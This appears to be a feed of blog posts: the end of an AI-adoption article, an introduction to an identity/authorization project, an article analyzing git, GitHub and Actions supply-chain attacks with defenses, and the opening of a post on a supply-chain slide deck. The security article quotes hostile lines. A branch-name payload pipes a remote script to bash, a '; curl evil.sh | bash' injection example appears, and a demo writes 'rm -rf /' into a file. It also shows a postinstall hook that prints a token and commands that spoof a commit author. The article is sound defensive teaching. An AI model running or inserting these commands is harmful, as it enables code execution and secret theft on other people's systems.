(1) Offsetting AI capex	Meta alone has $135B-scale AI capex plans. GPU/TPU power bills rival headcount cost. Something has to give
(2) Catch-up on prior overhiring	The zero-interest-period headcount boom of 2022-2023 (Meta added tens of thousands in 2022) is now being unwound under an AI banner
(3) Efficiency narrative for shareholders	With capex this loud, you need a parallel story of "we're cutting costs" to keep investors comfortable
(4) A bet on three years out	"When AI actually pays off, we don't want to be sitting on a high-cost org," so you cut now without waiting for outcomes

There's also the historical pattern. When productivity spikes, demand usually expands and people end up needing more workers, not fewer (steam engine, PCs, spreadsheets). That's Jevons Paradox. If AI plays out the same way, generating 3x more code should mean reviewers and architects become the bottleneck, not surplus. The current corporate moves either ignore that paradox or are betting on getting ahead of it.

That loop has been spinning since 2025. The "business outcome" box on the right, though, no one can answer yet (which company, what number, when). When you're reading the loud numbers in this article, keep in mind they're all output numbers. The outcome numbers haven't caught up.

9. What you can actually do at your shop

By the time you get here, the natural question is: "ok, what do I do tomorrow?" Here's what I'd order, by entry difficulty.

The 2026 baseline assumption is: using Cursor / Claude Code / Copilot daily doesn't count as "pushing forward" anymore. You need a step past that.

Time horizon	What to do	Difficulty
This week	Hook one internal tool (Slack / Jira / wiki / DB) up over MCP. Refresh `CLAUDE.md` / `AGENTS.md`. Try Auto Mode / subagents in parallel	Low
This quarter	Stand up one production line where Copilot Coding Agent or Claude Code takes Issues and ships PRs. Ship one RAG-based internal search to production	Mid
6 months to 1 year	Rewrite specs for agents (Mercari-style ASDD). Ship one L2 cost-saving number (a routine report, test backfill, etc.)	Mid-high
Needs leadership decision	Wire AI usage into evaluations (Shopify-style). Stand up an AI Task Force-equivalent	High

In plain terms:

Push L1 past where it's stuck. Don't stop at "I use Cursor." This week: hook one internal tool over MCP, run subagents in parallel, kick the tires on Auto Mode. None of these need special permission and they're standard 2026 work
Produce one L2 cost number. Amazon's 4,500 person-years and Mercari's 4,000 workflows started from one item. "I agentized this routine report and it freed up 10 hours a week" reframes the conversation in your team
Find one customer-facing thing to redo at L3. Existing support, search, recommendations, form filling. Somewhere there's a place where "swap in an LLM" actually changes the experience. Salesforce's $100M didn't start at $100M. It started with one Tier 1 auto-response use case
L4 needs leadership air cover. Wiring AI use into evals is a leadership-level decision and you can't unilaterally do it as an engineer. What you can do is package the case ("Shopify and Mercari are headed here, why not us") with data and walk it upstairs

Closing

The era where "are you using AI?" / "yes" was a complete answer is probably ending in 2026.

What ties the 11 companies in this article together is that they made AI use a property of the organization, not a habit of an individual. Google's 75%, Stripe's 1,300 PRs a week, Mercari's 95% are not the result of individuals working harder. They're the result of organizations making weird, expensive bets ("we're going to design code review around AI authoring," "we're putting 100 people on an AI Task Force," "we're rewriting how we write specs around ASDD"). None of those just happen.

The flip side: nothing in this article is reachable through "individuals trying harder." The question becomes where to plant a wedge in your org so the team can move the same direction. I hope this article works as a catalog for that.

If you can bring one small L2 number to your standup tomorrow, in addition to the usual L1 chatter, you'll change the frame of the conversation.

Sources (first-party where possible)

Introducing Omega: SPIFFE Workload Identity + AuthZEN Authorization in a Single Binary

kt — Fri, 01 May 2026 15:22:55 +0000

Standing up workload identity in a real cluster usually means running
four projects: SPIRE for SVID issuance, OPA or Cedar for authorization,
an OIDC provider for federation, and a separate audit pipeline.

The standards finally caught up. OpenID AuthZEN Authorization API 1.0
was approved as a Final Specification on 2026-01-12.
Cedar joined CNCF Sandbox on 2025-10-08
and is in production at Cloudflare, MongoDB, StrongDM, and AWS Bedrock
AgentCore. SPIFFE is the de-facto workload identity model.

Omega is my attempt at wiring those
pieces into one Apache-2.0 binary.

A few terms first

If any of these are unfamiliar, the rest of the article assumes them.

Term	One-line definition
SPIFFE	A spec for workload identity. Defines `spiffe://trust-domain/path` IDs.
SVID	SPIFFE Verifiable Identity Document. Either an X.509 cert or a JWT.
Workload API	A local gRPC endpoint a workload calls to fetch its current SVID.
PDP / PEP	Policy Decision Point answers "allow?". Policy Enforcement Point asks the question.
AuthZEN	An OpenID spec for the HTTP+JSON wire format between a PEP and a PDP.
Cedar	A small, analyzable policy language from AWS, now CNCF Sandbox.

What Omega is

One binary with three subcommands:

omega server runs the control plane: a CA that issues SPIFFE X.509-SVIDs and JWT-SVIDs, an AuthZEN 1.0 PDP backed by Cedar, an audit log, and SPIFFE federation.
omega agent runs the SPIFFE Workload API on a Unix domain socket and attests workloads by their UID via peercred.
omega <CRUD> is the CLI for domains, policies, and SVIDs.

What ships today

Repo: https://github.com/0-draft/omega. Items marked tracked are
GitHub issues, not features in the source tree.

Layer	Status
SPIFFE X.509-SVID	implemented
SPIFFE JWT-SVID (JWKS)	implemented
AuthZEN 1.0 PDP (Cedar)	implemented
SPIFFE federation	implemented
Tamper-evident audit	implemented
Postgres backend (HA)	implemented
Kubernetes operator	implemented
cert-manager Issuer	implemented
Observability	implemented
Admin UI	implemented
AI agent delegation	example
OIDC IdP federation hub	tracked
CSI driver	tracked
PQC (ML-DSA / ML-KEM)	tracked

60-second hands-on

git clone https://github.com/0-draft/omega
cd omega
make docker-up

That brings up the control plane on :8080, two node agents (giving
the same UID two distinct SPIFFE IDs over separate sockets), the
hello-svid server and client (which mTLS-handshakes and prints the
verified peer SPIFFE ID), and the admin dashboard on :3000.

Hit the AuthZEN endpoint:

curl -sS -X POST http://127.0.0.1:8080/access/v1/evaluation \
  -H 'Content-Type: application/json' \
  -d '{"subject":{"type":"Spiffe","id":"spiffe://omega.local/example/web"},
       "action":{"name":"GET"},
       "resource":{"type":"HttpPath","id":"/api/foo"}}'
# {"decision":false}

Drop a Cedar policy in policies/ and pass --policy-dir policies to
the server:

permit (
  principal == Spiffe::"spiffe://omega.local/example/web",
  action    == Action::"GET",
  resource  == HttpPath::"/api/foo"
);

Re-run the curl and the response flips to
{"decision":true,"reasons":["policy0"]}. Tear it down with make docker-down.

How the audit log stays tamper-evident

Every write goes through one append path that computes a row hash from
the previous row's hash plus this row's content
(internal/server/storage/audit.go):

// hash = sha256(seq | ts_nano | kind | actor | subject | decision | payload | prev_hash)
h := sha256.New()
fmt.Fprintf(h, "%d|%d|%s|%s|%s|%s|", ev.Seq, ev.Ts.UnixNano(),
    ev.Kind, ev.Actor, ev.Subject, ev.Decision)
h.Write([]byte(ev.Payload))
h.Write([]byte("|"))
h.Write([]byte(ev.PrevHash))

AppendAudit is serialized through a single mutex so the
prev_hash lookup and the INSERT cannot interleave. A Verify walk
re-computes every row and reports the first mismatched seq, so any
deletion or in-place edit shows up the next time you scan.

AI agent delegation example

The examples/mcp-a2a-delegation/ directory shows how a human, a
coordinator agent, and a sub-agent chain through Omega. Each hop calls
POST /v1/token/exchange, which mints a new JWT-SVID whose act claim
is the previous token's subject. After two hops the leaf token looks
like:

{
  "sub": "spiffe://omega.local/agents/claude-code/github-tool",
  "act": {
    "sub": "spiffe://omega.local/agents/claude-code",
    "act": {
      "sub": "spiffe://omega.local/humans/alice"
    }
  }
}

The tool-server verifies the leaf with the omega JWKS, checks the
audience, and walks the act chain. With
--enforce-token-exchange-policy the Cedar policy gets the final say
on whether each exchange is allowed, and every decision lands in the
audit log.

This is a reference example today, not an in-tree library.

What comes next

Three things have to land before the project moves off v0.0.x:

OmegaIdentity CRD plus operator-to-control-plane mTLS.
SPIFFE federation bundle authenticity (peer mTLS plus first-time pin) and JWKS federation.
An OIDC IdP federation adapter, AWS first.

PQC (ML-DSA / ML-KEM) and a CSI driver are deliberately later. CRL and
OCSP are not on the list at all; short-lived SVIDs plus rotation is
the revocation story. Detailed non-goals (secrets storage, end-user
login UI, service-mesh data plane, SIEM, agent runtime) live in
docs/non-goals.md.

Try it

If you have spent an evening stitching SPIRE to OPA to Keycloak to
Loki, please clone it, run make docker-up, and tell me where it
breaks.

Repo: https://github.com/0-draft/omega
Issues: https://github.com/0-draft/omega/issues
Discussions: https://github.com/0-draft/omega/discussions

Hacking GitHub: From Tag Rewrites to Dangling Commits, Where the Git Protocol Trusts You Without Checking

kt — Thu, 30 Apr 2026 15:02:43 +0000

Intro: Why we got burned twice by the same trick

On 2025-03-14, the GitHub Action tj-actions/changed-files was hijacked. 23,000 repositories were affected. Base64-encoded AWS / GitHub / PyPI tokens were dumped into public CI logs. CVE-2025-30066.

About a year later, on 2026-03-19, aquasecurity/trivy-action was hit by almost the same playbook. Of 76 version tags, 75 were rewritten to point at attacker-controlled commits.

Every news headline says "supply chain attack". But if you put the two incidents side by side, the spot that got attacked is the same exact thing: the v44 portion of uses: org/action@v44, i.e. the commit a git tag is currently pointing to.

Did you ever quietly assume that a git tag is an immutable fingerprint? It is not. It is a label. You can force-push it. You can rewrite it. The fact that GitHub's UI says "v44" gives you no guarantee that this v44 points to the same commit it pointed to last week.

This gap is the attack surface. And it is not just a tag issue. It comes from the fact that the git protocol is designed on the assumption that there is trust between humans and repositories. Authors can self-identify. Submodule paths are trusted. Deleted repos are not actually deleted.

In this article I dissect that trust gap across three layers.

Layer 1: the git protocol itself (tag, author, SHA-1, submodule)
Layer 2: the GitHub platform (RepoJacking, CFOR, dangling commits)
Layer 3: GitHub Actions (pwn request, script injection, cache poisoning, self-hosted runner)

At the end I provide hands-on demos you can run locally, plus a defense matrix that maps each attack to its mitigations.

Prerequisites: terminology

Before diving in, here are the concepts that come back over and over.

Git object: git stores every file / tree / commit as an object keyed by SHA-1 hash under .git/objects/. The whole system runs on the assumption that "if the hash matches, the content matches".
Tag: a "label" pointing to a specific commit object SHA. refs/tags/v1.0 is just a file containing a SHA, and it can be rewritten later (git push --force --tags).
Annotated tag vs lightweight tag: the former has its own object and can be signed; the latter is just a ref. Most @v1-style references in GitHub Actions are lightweight tags.
Commit author / committer: metadata inside the commit object. You set it freely with user.name and user.email. Git itself does not verify it.
Verified badge: shown by the GitHub UI when "the commit has a GPG / SSH / S/MIME signature, and the key is registered to the author's GitHub account". Unsigned commits show nothing unless vigilant mode is on.
pull_request_target: a workflow trigger in GitHub Actions. Unlike pull_request, it runs in the target repo's context and has access to secrets. The intent is "let trusted automation (linters / labelers) run on outside-contributor PRs", but it causes huge incidents when misused.
CFOR (Cross Fork Object Reference): forks share an object store with their parent, so a commit pushed to a fork is reachable from the parent repo's URL. GitHub has classified this as "by design".

That is enough to read the rest.

Layer 1: the git protocol itself is trust-based

Git is a distributed VCS designed around "we don't agree on things we can't agree on". Conversely, an object you create locally is treated as fact. There is no protocol-level mechanism for a central server to validate content. We will look at this gap from four angles: what a tag points to (1.1), the author's identity (1.2), SHA-1 identity (1.3), and arbitrary file writes via submodules (1.4).

1.1 A git tag is just a label (tag rewrite)

Back to tj-actions and Trivy. The moment you write uses: tj-actions/changed-files@v44, every workflow run fetches "the commit that v44 currently points to". The commit a tag points to is not fixed in advance: it is whatever value is on the server at run time.

Git does not forbid moving a tag. git push --force --tags is enough. GitHub does not enable tag protection by default either.

The fix is straightforward: pin to a commit SHA instead of a tag.

- uses: tj-actions/changed-files@a284dc1aef0bee70773b0f93ddaeb1e3ea9aa6ff

A 40-char SHA is immutable as long as you can't collide SHA-1. But pinning alone is not enough: if the SHA you pinned was malicious from the start, you are still owned. So pinning needs to be combined with signature verification via Sigstore or SLSA Provenance. Sigstore is a signing infrastructure for OSS that issues short-lived certificates from an OIDC identity and writes the signature to a public log (Rekor) as one operation. SLSA Provenance attaches a signed JSON document to a build artifact recording "which source / builder / inputs produced it"; at level 3 and above it also requires tamper-resistant builders. Sigstore's git-signing CLI gitsign lets you sign commits and tags with the same machinery.

GitHub added a feature called Immutable Releases in 2025 (Public Preview 2025-08-26, GA 2025-10-28). When enabled, the moment you cut a release the tag is locked to a specific commit, and you cannot move the tag, swap release assets, or delete the release. Each release also gets a signed release attestation so consumers can verify authenticity. Incidents like tj-actions and Trivy cannot happen by design if the Action maintainer enables this. The catch: enablement is on the maintainer side; consumers cannot force it.

1.2 Commit author is self-declared

Now consider the trust around commit author. Look at this sequence.

git -c user.name='Linus Torvalds' \
    -c user.email='torvalds@linux-foundation.org' \
    commit -m "fix: typo"
git push origin main

That is enough for the GitHub UI to show the commit with Linus Torvalds's avatar and a link to his profile. GitHub just looks at the email field on the commit object and pulls the profile of "the account that has registered this email".

This is not a GitHub bug; it is the spec. The git protocol itself does not verify authors.

The only real defense is commit signing + the Verified badge. Sign with git commit -S using GPG / SSH, register the key on your GitHub account, and the commit gets a "Verified" badge. Unsigned commits show nothing.

The attacker's next move from here is to rely on readers ignoring the absence of a Verified badge. Most developers do not check for the green check on every commit. Per a GitHub study (2025), repositories that adopt commit signing are still a minority, and a large fraction of commits land "unsigned = unverified".

GitHub has a feature called vigilant mode that forces an "Unverified" badge on unsigned commits. Even sneakier is the co-authored-by trailer: write Co-authored-by: Some Person <email> in the commit message and, if the main author is signed, GitHub shows "Partially Verified" while still attributing the co-author name to anyone you want.

1.3 SHA-1 collision (SHAttered)

Git's notion of object identity is SHA-1. SHA-1 was practically broken in 2017 by the SHAttered research from Google and CWI Amsterdam. Generating two different PDFs with the same SHA-1 cost about \$110,000 of compute at the time.

Can you collide a git commit with this? Not really, in practice. The reason: git prefixes a header like blob <size>\0 before hashing an object, so the header-prefixed blob and the raw PDF are different bytestreams. Running git add on the SHAttered PDFs does not produce a collision. You would need to redo the same collision attack against git's object format, and that cost is still in the "computationally hard" zone.

GitHub.com introduced SHA-1 collision detection in 2017, and objects with the SHAttered attack signature are rejected at push time. Git itself adopted the same detection logic. Marc Stevens published a library called sha1collisiondetection (commonly "sha1dc"), git imports it as a submodule, and replaces its built-in SHA-1 implementation with it. At nearly the cost of a normal SHA-1 computation, it returns a different hash or aborts when it detects collision-attack patterns.

Separately, git is moving toward SHA-256. You can create a SHA-256 repo with git init --object-format=sha256. But most hosting providers, including GitHub.com, do not accept SHA-256 repos for push, so practical adoption is far off.

The point worth taking away: a SHA-1 collision is not an immediate threat, but unlike the other attacks above (tag rewrite, author spoofing) it is the mathematical foundation of "pin by commit SHA" as a defense. If SHA-1 is fully broken, the SHA-pinning strategy below is also defeated. The SHA-256 migration is long-term insurance.

1.4 RCE via submodule (CVE-2024-32002, CVE-2025-48384)

In 2024 and 2025, two CVEs in a row let git clone itself produce RCE. Both go through submodules.

CVE-2024-32002 abuses case-insensitive filesystems (macOS / Windows). The malicious repo contains both a submodule path and a symlink to that path. A case-insensitive filesystem cannot distinguish them, so during checkout, files that should be written into the worktree are written through the symlink into .git/hooks/post-checkout. The next git command triggers the hook and runs arbitrary code. Setting git config --global core.symlinks false avoids it.

CVE-2025-48384 is more clever: it injects \r (CR) into the path field in .gitmodules. Git strips CRLF on read but does not quote on write, so CR creates an asymmetry between read and write. Combined with a symlink, this turns into arbitrary file write and a hook is dropped. Reproducible on Linux / macOS.

The mitigation is to use a patched git (v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, v2.50.1 or later). Also avoid --recursive clones of repos you don't trust. When CI builds external PRs, clone with --no-recursive first and review the submodule contents manually.

Layer 2: GitHub-platform persistence bugs

From here we leave bare git and look at the convenience features GitHub the hosting service added on top, which backfire. Username / repo rename leads to RepoJacking, fork object-store sharing leads to CFOR, and force-push history overwrites lead to secret extraction from dangling commits.

2.1 RepoJacking

On GitHub you can rename or delete an org / user. But all the code that depended on that URL stays put.

For example, suppose myorg/foo has many go get github.com/myorg/foo consumers, and myorg is deleted. If an attacker registers myorg and creates a foo repo, fetches against the old URL now resolve to the attacker's repo.

GitHub protects names of popular repos with namespace retirement: once a repo passes a star threshold, the name is held back for some time after retirement. But the race-condition bypass Checkmarx published in 2024 used the timing gap between repo creation and username rename to skip retirement. That re-exposed over 4,000 packages.

Defense is to pin dependencies to a commit SHA, plus run a dependency proxy / vendor so dependency code is mirrored in your own copy. Go modules' GOPROXY=https://proxy.golang.org is close in spirit.

2.2 Cross-Fork Object Reference (CFOR)

This one surprises people who learn it for the first time. Consider this scenario.

I own myorg/private-repo.
Collaborator A forks it as A/private-repo-fork.
A accidentally pushes ~/.aws/credentials to the fork.
A panics and deletes the fork.
The commit A pushed is still visible from my myorg/private-repo URL.

The reason is a GitHub optimization: forks share an object pool with their parent. When A deletes their fork, the commit object is still in the parent, so github.com/myorg/private-repo/commit/<SHA> returns it.

The catch is "how do you learn the SHA?". Per Truffle Security, the git protocol allows references by short SHA (4 chars minimum). The GitHub UI also resolves commits via short-SHA URLs, so 4 chars = 16^4 = 65,536 attempts of brute force is enough to find a commit. Truffle reports finding 40 valid API keys in deleted forks of a major AI company.

GitHub's response when reported was "intentional design decision". The behavior is staying.

The defense is heavy.

Treat the deleted fork as a leak and rotate the secret.
When experimenting on a private fork tied to a public repo, double-check what you git push.
Enable secret scanning (push protection) at the org level.

2.3 Dangling commits / oops commits

Force push only "removes a commit from history"; the object itself remains both locally and on the remote.

GitHub Archive (gharchive.org) is a third-party archive that has been publishing GitHub's public events API as hourly time-ordered JSON dumps since 2011. It contains every public push / fork / PR event. PushEvent carries before and after SHAs, so collecting the ones with force=true gives you "the list of SHAs of dropped commits". Truffle Security's Force Push Scanner pulls before SHA from this archive and fetches each commit in turn to look for secrets.

Scanning all dangling commits since 2020 with this technique, the report by Sharon Brizinov and Truffle Security found a GitHub PAT with admin permissions over the Istio repositories, plus large quantities of valid AWS / MongoDB credentials and API tokens. They collected about 25,000 USD in bug bounties (tokens were revoked after responsible disclosure). Already-rotated secrets are obviously useless, but the dominant pattern was secrets that nobody rotated after the original push.

Defense:

Rotate after pushing a secret (deleting from history is not enough).
Add a local gitleaks / trufflehog hook before push.
Enable GitHub's secret scanning push protection (org setting).

Layer 3: GitHub Actions

That covered "raw git and GitHub". GitHub Actions stacks a CI execution environment + secrets + tokens on top of all of that. The trust gaps in Layers 1 and 2 get amplified into "automated privilege escalation" on Actions. Concretely, tag rewrite becomes mass distribution to every consumer, pull_request_target becomes a hole that hands secrets to outside PRs, ${{ }} expansion turns a branch name into RCE, and the cache becomes an infection vector via main branch.

3.1 Tag rewrite, amplified by CI (tj-actions and Trivy)

The tj-actions and Trivy incidents at the top of this article are Layer 1.1 (tags are labels) projected onto the trust model of Actions.

Side by side:

Item	tj-actions/changed-files (2025-03)	aquasecurity/trivy-action (2026-03)
CVE	CVE-2025-30066	GHSA-69fq-xp46-6x23
Affected repos	~23,000	~10,000 (Trivy alone)
Tags rewritten	~45 (v1 through v45, all of them)	75 of 76
Exposure window	~15 hours	~12 hours
Entry point	leaked token from reviewdog/action-setup	reused credentials from the first compromise
Payload	dump secrets from runner memory as base64 to stdout	tampered entrypoint.sh that loads a credential stealer
Detection	StepSecurity flagged the anomaly	Trivy maintainers disclosed the incident

Some terminology from the table. reviewdog/action-setup is a different Action that tj-actions depended on; the GITHUB_TOKEN leaked there gave the attacker write access to tj-actions's commits. StepSecurity is a SaaS vendor that monitors GitHub Actions supply-chain behavior at runtime; in the tj-actions case they were the first to flag the anomaly of "this workflow is dumping base64 to a public log". For Trivy, the entry point is described as "reusing credentials leaked in the first compromise", i.e. the attacker rotated stolen credentials from one Action breach into another (per CrowdStrike's post-mortem, an automated bot called hackerbot-claw was doing the reuse).

What made Trivy worse is that this hackerbot-claw was scanning many repos in parallel. It kept finding repos with broken pull_request_target setups, stealing tokens, and rewriting tags on the next victim. It chains Layer 3.2 (pwn request) as the entry point with Layer 1.1 (tag rewrite) as the amplifier.

3.2 Pwn Request (the `pull_request_target` trap)

GitHub Actions has two PR triggers, pull_request and pull_request_target. The difference is critical.

Item	`pull_request`	`pull_request_target`
Code that runs	PR HEAD (= submitter's code)	base branch (= existing code)
Token permissions	read-only (`GITHUB_TOKEN` restricted)	base-side, with secrets access
Use case	tests / builds	linter / labeler / auto-comments
Risk	low	fatal if you check out the PR code

Incidents typically come from a workflow shaped like this.

# .github/workflows/format.yml (vulnerable)
on: pull_request_target
jobs:
  format:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: npm install && npm run format
      - run: git push  # push the formatted result back to the PR

It checks out PR code (= attacker code) and runs it directly, while still sitting in the pull_request_target context that can read base-branch secrets. At npm install, the attacker's package.json postinstall runs and exfiltrates secrets.

This is what hit Ultralytics YOLO in December 2024. The branch name the attacker submitted as a PR was this:

openimbot:$({curl,-sSfL,raw.githubusercontent.com/.../file.sh}${IFS}|${IFS}bash)

Ultralytics's workflow inlined ${{ github.head_ref }} into a bash script, so the branch name was evaluated by the shell and pulled in a remote script. An XMRig Monero miner was injected into the PyPI release and ran on thousands of hosts.

Defense:

Don't check out PR HEAD under pull_request_target. If you absolutely must, sandbox it explicitly.
Run formatters / linters under pull_request against base code only.
Default external PRs to permissions: read-all.
If you really need pull_request_target, gate it with an if condition that limits to trusted users first.

3.3 Script Injection

Adjacent to Pwn Request is shell injection via ${{ }}. GitHub Actions performs string substitution on ${{ ... }} before the shell runs, so any shell metachar in a PR title or branch name turns into arbitrary code execution.

# vulnerable
- run: |
    echo "PR title: ${{ github.event.pull_request.title }}"

If the PR title is "; curl evil.sh | bash; echo ", the resulting shell is:

echo "PR title: "; curl evil.sh | bash; echo ""

The same works on branch names. zzz";echo${IFS}"hello";# is a valid branch name, and ${IFS} expands to whitespace.

Defense:

Pass untrusted values via environment variables:

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

Or don't expand ${{ }} directly into bash. Use structured inputs like actions/github-script.

GitHub Security Lab's actionlint and Semgrep rules detect this pattern.

3.4 Cache Poisoning

actions/cache saves and restores dependency caches to shorten build time. The problem is that cache scope is per repository, and a cache written from main branch is readable by every branch and every workflow.

In 2024 Adnan Khan published a PoC malware called Cacheract that automates poisoning of GitHub Actions cache (actions/cache). The cache is keyed per-repo and stores things like node_modules/; another workflow run restores by the same key. Once Cacheract runs on main once, it writes itself back into the artifact and persists in the cache. Every subsequent workflow run picks up the malicious code on restore and re-infects automatically.

In 2025 GitHub tightened cache eviction policy. The 2025-09-29 changelog announced a switch to hourly eviction: when a repo passes the 10 GB cap, the oldest entries are evicted immediately (it used to be every 24 hours). Faster eviction makes it easier for an attacker to push a large poisoned entry that pushes the legitimate cache out, then drop in their own version, all within a single workflow run. Note that the 2025-11-20 changelog moved in the opposite direction with "you can pay to exceed the 10 GB cap", but in attack-surface terms the eviction speedup matters more.

Adnan published a PoC where this technique came close to compromising Angular's dev infra.

Defense:

Strictly review pushes to main branch (this is the actual control).
Include the commit SHA in the cache key.
Guarantee build reproducibility with SLSA Provenance (the spec records which source / builder / inputs produced an artifact as a signed JSON. Inputs leaked in via cache will show up as a provenance mismatch).

3.5 Self-hosted runner backdoors

GitHub Actions supports two kinds of runners: GitHub-managed and self-hosted. The latter runs on your own VM or server, with broader network access and privileges.

If you use a self-hosted runner on a public repository, an outside PR can execute code on the runner. This bites OSS projects fairly often. As one example, a 2022 Praetorian research post demonstrated, against large OSS including TensorFlow, that you could plant a runner backdoor from a malicious PR.

The scary part is the persistence techniques.

RUNNER_TRACKING_ID=0: the runner kills processes with a matching tracking ID at job end. Rewrite it to 0 and your process survives the cleanup.
Detached docker container: a container started with docker run -d keeps running after the job ends.
Non-ephemeral runner: by default runners are not single-use. Once you plant something, it survives across runs.

Sysdig published the details in January 2026. Because the runner only sends traffic to github.com, network egress filters are nearly blind to it.

Defense:

Don't use self-hosted runners on public repos (this is the rule).
Run ephemeral runners (--ephemeral flag, single-use per job).
Run runners inside dedicated Kubernetes Pods (Actions Runner Controller).
Default runner to permissions: { contents: read }.

Hands-on: attack demos you can reproduce locally

Here are the parts that fit inside a local docker setup, as a small set of scripts. Running them yourself gives you the "wait, it's actually this easy?" feeling.

Demo 1: tag rewrite

# Attacker: build a repo with two commits
mkdir attacker && cd attacker
git init -b main
echo "# Trusted action" > README.md
git add . && git commit -m "Initial good commit"
git tag v1.0
GOOD_SHA=$(git rev-parse HEAD)

# Create a malicious commit and slap the same tag on it
echo "rm -rf /" > evil.sh
git add . && git commit -m "Innocent change"
git tag -f v1.0
EVIL_SHA=$(git rev-parse HEAD)

git log --oneline --decorate
# Confirm v1.0 now points at the evil commit

Push to a remote with git push --force --tags. On the GitHub UI the release list still says v1.0, but the commit it points to has been swapped.

Demo 2: commit author spoofing

mkdir spoof-demo && cd spoof-demo
git init -b main

# Commit as anyone you like
git -c user.name='Linus Torvalds' \
    -c user.email='torvalds@linux-foundation.org' \
    commit --allow-empty -m "Definitely from Linus"

git log --format='%an <%ae>'
# Linus Torvalds <torvalds@linux-foundation.org>

Push this to GitHub and the UI shows Linus's actual avatar. There is no Verified badge, but it is hard to notice at a glance.

Demo 3: find a dangling commit

mkdir dangling-demo && cd dangling-demo
git init -b main
echo "AWS_KEY=AKIA1234567890" > .env
git add . && git commit -m "oops with secret"
SECRET_SHA=$(git rev-parse HEAD)

# Rewrite to a commit without the secret
git rm .env
echo "# project" > README.md
git add . && git commit --amend --no-edit

# The secret commit is no longer in log
git log --oneline

# But it still lives in reflog and the object store
git cat-file -p $SECRET_SHA
# author / message visible

# fsck lists dangling objects
git fsck --lost-found

Even after git push --force, Truffle's Force Push Scanner can dig the commit back out of the remote object store.

Demo 4: minimal pull_request_target reproduction

# vulnerable.yml
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  run:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: cat package.json | head
      - run: npm install

Drop this into a test repo and open a PR from a fork. Stick "scripts": { "postinstall": "echo $GITHUB_TOKEN" } into the fork's package.json and the target repo's secrets leak into the job log (for testing the token will appear masked, so you can confirm the behavior without real damage).

These four bundled into a single run.sh would fit the existing hands-on style at articles/assets/github-hacking-deep-dive/run.sh.

Defense matrix

Last, here is the attacks-and-defenses summary on a single page. No single control covers everything: layer them.

Attack	Primary defense	Secondary defense
Tag rewrite	commit SHA pinning	Sigstore / SLSA Provenance, Immutable Releases
Author spoofing	commit signing (`-S`) + key registered on GitHub	enable vigilant mode
SHA-1 collision	GitHub.com collision detection	migrate to a SHA-256 repo (long-term)
Submodule RCE	upgrade to a patched git	don't `--recursive` clone repos you don't trust
RepoJacking	pin dependencies to commit SHA	dependency proxy / vendor
CFOR	rotate assuming the secret has leaked	secret scanning push protection
Dangling commits	run gitleaks / trufflehog before push	bake rotation into your operational playbook
Pwn Request	don't checkout PR HEAD under `pull_request_target`	gate execution to trusted users
Script Injection	pass via environment variables	actionlint / Semgrep in CI
Cache Poisoning	review pushes to main	include commit SHA in cache key
Self-hosted runner	don't use them in public repos	ephemeral runners

Left column (primary) is what directly counters that attack vector; right column (secondary) is the fallback when the primary fails. Sigstore / SLSA Provenance / Immutable Releases / gitsign show up on both columns repeatedly, which is the giveaway that they pull multiple layers up at once.

Wrap-up

Git was designed as a distributed VCS where "consensus is taken after the fact". GitHub stacked SaaS conveniences on top of that, and Actions glued a CI execution environment to secrets. Each layer is reasonable in isolation, but the trust boundaries do not line up.

The git protocol does not verify authors (Layer 1.2)
GitHub does not actually delete deleted repos (Layer 2.2)
Actions gives outside PRs access to secrets (Layer 3.2)

These three were designed by separate teams in separate contexts, but attackers chain across layers. The fact that tj-actions and Trivy got burned twice in a year by the same playbook is not coincidence; it is the seam between trust boundaries being wide.

Defenses also span layers. SHA pinning alone is not enough, and commit signing alone is not enough. Sigstore + SLSA Provenance + Immutable Releases + ephemeral runners. Only with all of those in place do you start to prevent the third instance of the same playbook.

Next time you read GitHub's official release notes, ask which trust gap each new feature fills. Immutable Releases addresses Layer 1.1, push protection addresses Layer 2.3, the stricter permissions: defaults address Layer 3 in general. Conversely, every new feature opens new gaps (the 10 GB eviction change accelerated Cacheract, for example).

Most of the toolkit for hacking git and GitHub fits in a few command-line one-liners. Because attack is easy, defense has to be in layers.

References

I built chainscope: reading supply chain attacks across 6 surfaces, one slide at a time

kt — Wed, 29 Apr 2026 15:05:15 +0000

Introduction

On 2025-03-14, the GitHub Action tj-actions/changed-files was hijacked. CVE-2025-30066. The blast radius: 23,000 repositories, 15 hours.

When a workflow says uses: tj-actions/changed-files@v44, that v44 is a tag. A tag is just a label pointing at a commit SHA, and on git, tags are rewritable. With the maintainer's GitHub Token in hand, the attacker rewrote every tag from v1 through v45 to point at a single malicious commit.

Any CI that wrote uses: ...@v44 started running the malicious Action on its very next run, without changing anything on its side. The Action scraped AWS / GitHub / PyPI tokens out of the runner's memory and dumped them, base64-encoded, into the public job log. Public GitHub Actions logs are world-readable, so the leak was complete right there.

The headlines say "another supply chain attack". But put this next to the 2024 xz-utils backdoor and the spot that got hit, and the defense that actually works, are nothing alike.

I tried to fit that difference into one diagram, failed, and ended up making slides. That became chainscope.

Background

A few terms up front make the rest go faster.

Mutable tag: a git tag is a label pointing at a commit SHA, and it can be moved later. The v1 in uses: org/action@v1 resolves to whatever SHA it points at right now when CI runs. A pinned commit SHA (@a284dc1aef...) is immutable.
postinstall script: an npm package can run any shell command listed in package.json's scripts.postinstall, fired immediately after npm install. Lockfile hashes pin the tarball, but they say nothing about what postinstall does.
OIDC Trusted Publisher: PyPI / npm gating publishing on a GitHub Actions workflow's execution identity (OIDC token). Stealing the maintainer's password gets you nothing if you can't publish from their workflow.
Sigstore: signature verification for published artifacts, backed by OIDC identity and a transparency log (Rekor). Used via cosign verify-blob and friends.
Admission Controller (e.g. Kyverno): enforces policy at the moment a container image lands on a Kubernetes cluster. "Refuse to start unless the expected signature is present" is exactly its job.

The software supply chain is not a single line

From source to production, an artifact passes through 6 stages.

Colors are lifted straight from each stage's flagship tool: source = #f05032 (Git orange), deps = #cb3837 (npm red), build = #2088ff (GitHub Actions blue), consume = #326ce5 (Kubernetes blue). Idea being, the color alone tells you which stage you're looking at.

Attackers only need to own one of the six. Defenders need a separate layer at every one, or they lose somewhere. chainscope calls them "surfaces".

6 incidents

One real incident per stage. Goal: next time the news breaks, you can immediately shelve it as "oh, that's a 03 one".

